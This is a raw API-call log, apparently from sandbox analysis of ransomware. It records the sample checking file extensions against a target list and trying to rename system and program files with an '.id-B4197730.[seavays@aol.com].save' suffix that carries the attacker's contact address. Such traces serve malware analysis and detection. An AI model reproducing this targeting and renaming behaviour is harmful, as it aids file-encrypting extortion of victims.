lstrlenW (lpString=".ppt") returned 4 [0159.869] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0159.869] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39 [0159.869] lstrlenW (lpString=".zip") returned 4 [0159.869] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0159.869] lstrlenW (lpString=".rar") returned 4 [0159.869] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0159.869] lstrlenW (lpString=".bz2") returned 4 [0159.869] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0159.869] lstrlenW (lpString=".7z") returned 3 [0159.869] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0159.869] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39 [0159.869] lstrlenW (lpString=".dbf") returned 4 [0159.869] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0159.870] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39 [0159.870] lstrlenW (lpString=".1cd") returned 4 [0159.870] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0159.870] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39 [0159.870] lstrlenW (lpString=".jpg") returned 4 [0159.870] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0159.870] lstrcmpiW (lpString1=".mui", lpString2=".save") returned -1 [0159.870] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0159.870] CreateFileW (lpFileName="C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0159.870] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=76128) returned 1 [0159.871] CloseHandle (hObject=0x378) returned 1 [0159.871] GetFileAttributesW (lpFileName="C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui")) returned 0x20 [0159.871] GetFileAttributesW (lpFileName="C:\\Boot\\ro-RO\\bootmgr.exe.mui.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0159.871] CreateFileW (lpFileName="C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.871] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0159.871] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0159.871] lstrlenW (lpString=".doc") returned 4 [0159.871] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0159.871] lstrlenW (lpString=".docx") returned 5 [0159.871] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0159.871] lstrlenW (lpString=".pdf") returned 4 [0159.871] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0159.871] lstrlenW (lpString=".xls") returned 4 [0159.871] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0159.871] lstrlenW (lpString=".xlsx") returned 5 [0159.871] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0159.871] lstrlenW (lpString=".ppt") returned 4 [0159.871] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0159.872] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0159.872] lstrlenW (lpString=".zip") returned 4 [0159.872] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0159.872] lstrlenW (lpString=".rar") returned 4 [0159.872] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0159.872] lstrlenW (lpString=".bz2") returned 4 [0159.872] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0159.872] lstrlenW (lpString=".7z") returned 3 [0159.872] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0159.872] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0159.872] lstrlenW (lpString=".dbf") returned 4 [0159.872] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0159.872] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0159.872] lstrlenW (lpString=".1cd") returned 4 [0159.872] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0159.872] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0159.872] lstrlenW (lpString=".jpg") returned 4 [0159.872] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0159.872] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0159.872] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0159.872] lstrlenW (lpString=".doc") returned 4 [0159.872] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0159.872] lstrlenW (lpString=".docx") returned 5 [0159.872] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0159.873] lstrlenW (lpString=".pdf") returned 4 [0159.873] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0159.873] lstrlenW (lpString=".xls") returned 4 [0159.873] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0159.873] lstrlenW (lpString=".xlsx") returned 5 [0159.873] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0159.873] lstrlenW (lpString=".ppt") returned 4 [0159.873] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0159.873] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0159.873] lstrlenW (lpString=".zip") returned 4 [0159.873] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0159.873] lstrlenW (lpString=".rar") returned 4 [0159.873] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0159.873] lstrlenW (lpString=".bz2") returned 4 [0159.873] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0159.873] lstrlenW (lpString=".7z") returned 3 [0159.873] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0159.873] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0159.873] lstrlenW (lpString=".dbf") returned 4 [0159.873] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0159.873] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0159.873] lstrlenW (lpString=".1cd") returned 4 [0159.873] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0159.873] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0159.873] lstrlenW (lpString=".jpg") returned 4 [0159.874] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0159.874] lstrcmpiW (lpString1=".mui", lpString2=".save") returned -1 [0159.874] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0159.874] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0159.874] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=77152) returned 1 [0159.874] CloseHandle (hObject=0x378) returned 1 [0159.875] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0159.875] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0159.875] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.875] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0159.875] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0159.875] lstrlenW (lpString=".doc") returned 4 [0159.875] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0159.875] lstrlenW (lpString=".docx") returned 5 [0159.875] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0159.875] lstrlenW (lpString=".pdf") returned 4 [0159.875] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0159.875] lstrlenW (lpString=".xls") returned 4 [0159.875] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0159.875] lstrlenW (lpString=".xlsx") returned 5 [0159.875] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0159.875] lstrlenW (lpString=".ppt") returned 4 [0159.876] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0159.876] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0159.876] lstrlenW (lpString=".zip") returned 4 [0159.876] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0159.876] lstrlenW (lpString=".rar") returned 4 [0159.876] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0159.876] lstrlenW (lpString=".bz2") returned 4 [0159.876] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0159.876] lstrlenW (lpString=".7z") returned 3 [0159.876] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0159.876] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0159.876] lstrlenW (lpString=".dbf") returned 4 [0159.876] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0159.876] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0159.876] lstrlenW (lpString=".1cd") returned 4 [0159.876] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0159.876] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0159.876] lstrlenW (lpString=".jpg") returned 4 [0159.876] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0159.876] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0159.876] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0159.876] lstrlenW (lpString=".doc") returned 4 [0159.876] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0159.876] lstrlenW (lpString=".docx") returned 5 [0159.876] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0159.877] lstrlenW (lpString=".pdf") returned 4 [0159.877] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0159.877] lstrlenW (lpString=".xls") returned 4 [0159.877] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0159.877] lstrlenW (lpString=".xlsx") returned 5 [0159.877] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0159.877] lstrlenW (lpString=".ppt") returned 4 [0159.877] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0159.877] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0159.877] lstrlenW (lpString=".zip") returned 4 [0159.877] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0159.877] lstrlenW (lpString=".rar") returned 4 [0159.877] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0159.877] lstrlenW (lpString=".bz2") returned 4 [0159.877] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0159.877] lstrlenW (lpString=".7z") returned 3 [0159.877] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0159.877] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0159.877] lstrlenW (lpString=".dbf") returned 4 [0159.877] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0159.877] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0159.877] lstrlenW (lpString=".1cd") returned 4 [0159.877] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0159.877] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0159.877] lstrlenW (lpString=".jpg") returned 4 [0159.878] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0159.878] lstrcmpiW (lpString1=".mui", lpString2=".save") returned -1 [0159.878] lstrlenW (lpString="memtest.exe.mui") returned 15 [0159.878] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0159.878] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=44960) returned 1 [0159.878] CloseHandle (hObject=0x378) returned 1 [0159.878] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui")) returned 0x20 [0159.879] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\memtest.exe.mui.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0159.879] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.879] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0159.879] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0159.879] lstrlenW (lpString=".doc") returned 4 [0159.879] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0159.879] lstrlenW (lpString=".docx") returned 5 [0159.879] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0159.879] lstrlenW (lpString=".pdf") returned 4 [0159.879] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0159.879] lstrlenW (lpString=".xls") returned 4 [0159.879] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0159.879] lstrlenW (lpString=".xlsx") returned 5 [0159.879] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0159.879] lstrlenW (lpString=".ppt") returned 4 [0159.879] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0159.879] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0159.879] lstrlenW (lpString=".zip") returned 4 [0159.879] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0159.879] lstrlenW (lpString=".rar") returned 4 [0159.879] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0159.880] lstrlenW (lpString=".bz2") returned 4 [0159.880] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0159.880] lstrlenW (lpString=".7z") returned 3 [0159.880] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0159.880] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0159.880] lstrlenW (lpString=".dbf") returned 4 [0159.880] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0159.880] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0159.880] lstrlenW (lpString=".1cd") returned 4 [0159.880] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0159.880] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0159.880] lstrlenW (lpString=".jpg") returned 4 [0159.880] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0159.880] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0159.880] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0159.880] lstrlenW (lpString=".doc") returned 4 [0159.880] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0159.880] lstrlenW (lpString=".docx") returned 5 [0159.880] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0159.880] lstrlenW (lpString=".pdf") returned 4 [0159.880] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0159.880] lstrlenW (lpString=".xls") returned 4 [0159.880] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0159.880] lstrlenW (lpString=".xlsx") returned 5 [0159.881] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0159.881] lstrlenW (lpString=".ppt") returned 4 [0159.881] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0159.881] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0159.881] lstrlenW (lpString=".zip") returned 4 [0159.881] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0159.881] lstrlenW (lpString=".rar") returned 4 [0159.881] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0159.881] lstrlenW (lpString=".bz2") returned 4 [0159.881] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0159.881] lstrlenW (lpString=".7z") returned 3 [0159.881] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0159.881] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0159.881] lstrlenW (lpString=".dbf") returned 4 [0159.881] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0159.881] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0159.881] lstrlenW (lpString=".1cd") returned 4 [0159.881] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0159.881] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0159.881] lstrlenW (lpString=".jpg") returned 4 [0159.881] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0159.882] lstrcmpiW (lpString1=".mui", lpString2=".save") returned -1 [0159.882] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0159.882] CreateFileW (lpFileName="C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0159.882] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=77144) returned 1 [0159.882] CloseHandle (hObject=0x378) returned 1 [0159.882] GetFileAttributesW (lpFileName="C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui")) returned 0x20 [0159.882] GetFileAttributesW (lpFileName="C:\\Boot\\sk-SK\\bootmgr.exe.mui.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0159.882] CreateFileW (lpFileName="C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.883] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0159.883] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0159.883] lstrlenW (lpString=".doc") returned 4 [0159.883] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0159.883] lstrlenW (lpString=".docx") returned 5 [0159.883] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0159.883] lstrlenW (lpString=".pdf") returned 4 [0159.883] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0159.883] lstrlenW (lpString=".xls") returned 4 [0159.883] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0159.883] lstrlenW (lpString=".xlsx") returned 5 [0159.883] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0159.883] lstrlenW (lpString=".ppt") returned 4 [0159.883] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0159.883] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0159.883] lstrlenW (lpString=".zip") returned 4 [0159.883] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0159.883] lstrlenW (lpString=".rar") returned 4 [0159.883] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0159.883] lstrlenW (lpString=".bz2") returned 4 [0159.883] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0159.883] lstrlenW (lpString=".7z") returned 3 [0159.883] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0159.884] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0159.884] lstrlenW (lpString=".dbf") returned 4 [0159.884] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0159.884] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0159.884] lstrlenW (lpString=".1cd") returned 4 [0159.884] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0159.884] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0159.884] lstrlenW (lpString=".jpg") returned 4 [0159.884] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0159.884] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0159.884] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0159.884] lstrlenW (lpString=".doc") returned 4 [0159.884] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0159.884] lstrlenW (lpString=".docx") returned 5 [0159.884] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0159.884] lstrlenW (lpString=".pdf") returned 4 [0159.884] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0159.884] lstrlenW (lpString=".xls") returned 4 [0159.884] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0159.884] lstrlenW (lpString=".xlsx") returned 5 [0159.884] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0159.884] lstrlenW (lpString=".ppt") returned 4 [0159.884] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0159.884] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0159.884] lstrlenW (lpString=".zip") returned 4 [0159.885] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0159.885] lstrlenW (lpString=".rar") returned 4 [0159.885] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0159.885] lstrlenW (lpString=".bz2") returned 4 [0159.885] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0159.885] lstrlenW (lpString=".7z") returned 3 [0159.885] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0159.885] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0159.885] lstrlenW (lpString=".dbf") returned 4 [0159.885] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0159.885] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0159.885] lstrlenW (lpString=".1cd") returned 4 [0159.885] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0159.885] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0159.885] lstrlenW (lpString=".jpg") returned 4 [0159.885] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0159.885] lstrcmpiW (lpString1=".mui", lpString2=".save") returned -1 [0159.885] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0159.885] CreateFileW (lpFileName="C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0159.886] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=76640) returned 1 [0159.886] CloseHandle (hObject=0x378) returned 1 [0159.886] GetFileAttributesW (lpFileName="C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui")) returned 0x20 [0159.886] GetFileAttributesW (lpFileName="C:\\Boot\\sl-SI\\bootmgr.exe.mui.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0159.886] CreateFileW (lpFileName="C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.886] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0159.886] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0159.886] lstrlenW (lpString=".doc") returned 4 [0159.886] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0159.887] lstrlenW (lpString=".docx") returned 5 [0159.887] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0159.887] lstrlenW (lpString=".pdf") returned 4 [0159.887] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0159.887] lstrlenW (lpString=".xls") returned 4 [0159.887] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0159.887] lstrlenW (lpString=".xlsx") returned 5 [0159.887] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0159.887] lstrlenW (lpString=".ppt") returned 4 [0159.887] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0159.887] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0159.887] lstrlenW (lpString=".zip") returned 4 [0159.887] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0159.887] lstrlenW (lpString=".rar") returned 4 [0159.887] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0159.887] lstrlenW (lpString=".bz2") returned 4 [0159.887] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0159.887] lstrlenW (lpString=".7z") returned 3 [0159.887] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0159.887] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0159.964] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0159.967] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.968] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[seavays@aol.com].save")) returned 0 [0159.969] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft 